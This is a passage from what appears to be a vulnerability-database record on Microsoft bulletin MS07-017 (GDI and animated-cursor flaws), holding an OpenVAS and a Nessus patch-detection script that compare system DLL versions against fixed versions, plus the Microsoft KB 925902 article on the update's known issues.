value:\"2010-07-08 10:59:30 +0200 (Thu, 08 Jul 2010)\");\n script_bugtraq_id(23273, 23276, 23278, 23275, 20940, 23277);\n script_cve_id(\"CVE-2006-5586\", \"CVE-2006-5758\", \"CVE-2007-1211\",\n \"CVE-2007-1212\", \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_name(\"Microsoft Windows GDI Multiple Vulnerabilities (925902)\");\n script_xref(name:\"URL\", value:\"http://www.argeniss.com/research/ARGENISS-ADV-110604.txt\");\n script_xref(name:\"URL\", value:\"http://projects.info-pull.com/mokb/MOKB-06-11-2006.html\");\n script_xref(name:\"URL\", value:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-017\");\n script_xref(name:\"URL\", value:\"http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=499\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2010 LSS\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"MS/IE/Version\");\n\n script_tag(name:\"solution\", value:\"The vendor has released updates. Please see the references for more information.\");\n\n script_tag(name:\"summary\", value:\"Stack-based buffer overflow in the animated cursor code in Microsoft\n Windows 2000 SP4 through Vista allows remote attackers to execute\n arbitrary code or cause a denial of service (persistent reboot) via a\n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing\n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as\n originally demonstrated using Internet Explorer 6 and 7.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5 ,xp:4 ,win2003:3 ,vista:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS07-017 Hotfix (925902)\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\ndllPath = registry_get_sz(item:\"Install Path\", key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath += \"\\gdi32.dll\";\nshare = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath);\nfile = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath);\n\n#user32.dll\ndllPath2 = registry_get_sz(item:\"Install Path\", key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath2 += \"\\user32.dll\";\nshare2 = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath2);\nfile2 = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath2);\n\nvers = GetVer(file:file, share:share);\nvers2 = GetVer(file:file2, share:share2);\nif(!vers && !vers2){\n exit(0);\n}\n\n#CVE-2006-5586, CVE-2006-5758, CVE-2007-1211, CVE-2007-1212, CVE-2007-1213, CVE-2007-1215\nif(hotfix_check_sp(win2k:5) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2K/ServicePack\");\n if(\"Service Pack 4\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.0\", test_version2:\"5.0.2195.7133\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n\n}\nelse if(hotfix_check_sp(xp:4) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.1\", test_version2:\"5.1.2600.3099\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(win2003:3) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.2892\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n else if(\"Service Pack 2\" >< SP)\n {\n\n if(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.4033\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n else if(\"Service Pack 0\">< SP){\n\tif(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.651\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(vista:2) > 0 && vers2)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n if(\"Service Pack 0\" >< SP)\n {\n if(version_in_range(version:vers2, test_version:\"6.0\", test_version2:\"6.0.6000.16438\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "mskb": [{"lastseen": "2021-01-01T22:41:17", "description": "<html><body><p>Describes a security update for a reported vulnerability in GDI that could allow remote code execution.</p><h2></h2><div class=\"kb-summary-section section\">Microsoft has released security bulletin MS07-017. The security bulletin contains all the relevant information about the security update. This information includes file manifest information and deployment options. To view the complete security bulletin, visit one of the following Microsoft Web sites:<ul class=\"sbody-free_list\"><li>Home users:<div class=\"indent\"><a href=\"http://www.microsoft.com/athome/security/update/bulletins/200704oob.mspx\" id=\"kb-link-1\" target=\"_self\">http://www.microsoft.com/athome/security/update/bulletins/200704oob.mspx</a></div></li><li>IT professionals:<div class=\"indent\"><a href=\"http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\" id=\"kb-link-2\" target=\"_self\">http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx</a></div></li></ul><h3 class=\"sbody-h3\">Known issues</h3><ul class=\"sbody-free_list\"><li>Microsoft is aware of an issue that affects a limited number of printer drivers. When you try to print by using one of these drivers, you may experience the following symptoms:<ul class=\"sbody-free_list\"><li>Your computer automatically restarts.</li><li>After you log on, you receive the following error message:<div class=\"sbody-error\">Microsoft Windows<br/>The system has recovered from a serious error. A log of this error has been created. Please tell Microsoft about this problem. We have created an error report that you can send to help us improve Microsoft Windows. We will treat this report as confidential and anonymous. To see what data this error report contains, click here.</div>When you click the link at the bottom of the message box, you see error signature information that resembles the following:<div class=\"indent\">BCCode : 0x0000007f (0x00000000, 0x00000000, 0x00000000, 0x00000000) OSVer : 5_1_2600 SP : 0_0 Product : 256_1</div></li><li>You receive the following Stop error message: <br/><div class=\"sbody-error\">A problem has been detected and Windows has been shut down to prevent damage to your computer...<br/>Technical information:<br/><br/>*** Stop 0x0000007f (0x00000000, 0x00000000, 0x00000000, 0x00000000) UNEXPECTED_KERNEL_MODE_TRAP</div></li></ul><span>For more information about this issue, click the following article number to view the article in the Microsoft Knowledge Base:<br/><br/><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/935843\" id=\"kb-link-3\">935843 </a> Stop 0x0000007F error when you print from Windows XP or Windows 2000 with GDI security update 925902 installed<br/><br/></div></span></li><li>After you install this security update on a computer that is running Windows XP with Service Pack 2, certain third-party applications may not start. Additionally, you receive an error message that resembles the following:<br/><br/><div class=\"sbody-error\"><strong class=\"sbody-strong\">application_executable_name</strong> - Illegal System DLL Relocation<br/>The system DLL user32.dll was relocated in memory. The application will not run properly. The relocation occurred because the DLL C:\\Windows\\System32\\Hhctrl.ocx occupied an address range reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL.</div><span>For more information about this issue, and to see a list of third-party programs that Microsoft has confirmed are affected by this problem, click the following article number to view the article in the Microsoft Knowledge Base:<br/><br/><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/935448\" id=\"kb-link-4\">935448 </a> Certain programs may not start, and you receive an error message on a computer that is running Windows XP Service Pack 2: \"Illegal System DLL Relocation\"<br/><br/></div></span>If you receive a similar message when you use other programs, install update 935448. If we confirm that other programs are affected by this problem, we will update Microsoft Knowledge Base article 935448 with more information.</li></ul></div><h2>Technical revisions</h2><div class=\"kb-moreinformation-section section\">The revision number and the review dates for this article may reflect minor editorial revisions or structural revisions to this content. The major technical revisions to this content are listed in this table.<div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Revisions</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">April 17, 2007</td><td class=\"sbody-td\">Updated the \"Known issues\" section to include information about a Stop error that you may receive after you install this security update. Added this table.</td></tr></table></div><span>The third-party products that this article discusses are manufactured by companies that are independent of Microsoft. Microsoft makes no warranty, implied or otherwise, about the performance or reliability of these products.</span></div></body></html>", "edition": 2, "cvss3": {}, "published": "2018-04-17T20:27:10", "type": "mskb", "title": "MS07-017: Vulnerability in GDI could allow remote code execution", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": true, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2018-04-17T20:27:10", "id": "KB925902", "href": "https://support.microsoft.com/en-us/help/925902/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2022-05-14T13:45:43", "description": "The remote host is running a version of Windows with a bug in the Animated Cursor (ANI) handling routine that could allow an attacker to execute arbitrary code on the remote host by sending a specially crafted email or by luring a user on the remote host into visiting a rogue web site.\n\nAdditionally, the system is vulnerable to :\n\n - Local Privilege Elevation (GDI, EMF, Font Rasterizer)\n\n - Denial of Service (WMF)", "cvss3": {"score": null, "vector": null}, "published": "2007-04-03T00:00:00", "type": "nessus", "title": "MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2006-5586", "CVE-2006-5758", "CVE-2007-0038", "CVE-2007-1211", "CVE-2007-1212", "CVE-2007-1213", "CVE-2007-1215", "CVE-2007-1765"], "modified": "2020-08-05T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS07-017.NASL", "href": "https://www.tenable.com/plugins/nessus/24911", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(24911);\n script_version(\"1.38\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/05\");\n\n script_cve_id(\n \"CVE-2006-5586\",\n \"CVE-2006-5758\",\n \"CVE-2007-0038\",\n \"CVE-2007-1211\",\n \"CVE-2007-1212\",\n \"CVE-2007-1213\",\n \"CVE-2007-1215\",\n \"CVE-2007-1765\"\n );\n script_bugtraq_id(23194, 23273, 23275, 23276, 23277, 23278);\n script_xref(name:\"MSFT\", value:\"MS07-017\");\n script_xref(name:\"MSKB\", value:\"925902\");\n \n script_xref(name:\"IAVA\", value:\"2007-A-0020-S\");\n script_xref(name:\"CERT\", value:\"191609\");\n script_xref(name:\"EDB-ID\", value:\"3617\");\n script_xref(name:\"EDB-ID\", value:\"3634\");\n script_xref(name:\"EDB-ID\", value:\"3635\");\n script_xref(name:\"EDB-ID\", value:\"3636\");\n script_xref(name:\"EDB-ID\", value:\"3652\");\n script_xref(name:\"EDB-ID\", value:\"16526\");\n script_xref(name:\"EDB-ID\", value:\"16698\");\n\n script_name(english:\"MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\");\n script_summary(english:\"Determines the presence of update 925902\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the email\nclient or the web browser.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of Windows with a bug in the\nAnimated Cursor (ANI) handling routine that could allow an attacker to\nexecute arbitrary code on the remote host by sending a specially crafted\nemail or by luring a user on the remote host into visiting a rogue web\nsite.\n\nAdditionally, the system is vulnerable to :\n\n - Local Privilege Elevation (GDI, EMF, Font Rasterizer)\n\n - Denial of Service (WMF)\");\n # https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2007/ms07-017\n script_set_attribute(attribute:\"see_also\", value:\"https://www.nessus.org/u?844ca267\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released a set of patches for Windows 2000, XP, 2003 and\nVista.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:'CANVAS');\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2006/11/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2007/04/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2007/04/03\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2007-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS07-017';\nkb = \"925902\";\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(win2k:'4,5', xp:'2', win2003:'0,2', vista:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"User32.dll\", version:\"6.0.6000.16438\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:0, file:\"User32.dll\", version:\"6.0.6000.20537\", min_version:\"6.0.6000.20000\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"User32.dll\", version:\"5.2.3790.4033\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:1, file:\"User32.dll\", version:\"5.2.3790.2892\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:0, file:\"User32.dll\", version:\"5.2.3790.651\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", file:\"User32.dll\", version:\"5.1.2600.3099\", dir:\"\\System32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"User32.dll\", version:\"5.0.2195.7133\", dir:\"\\System32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}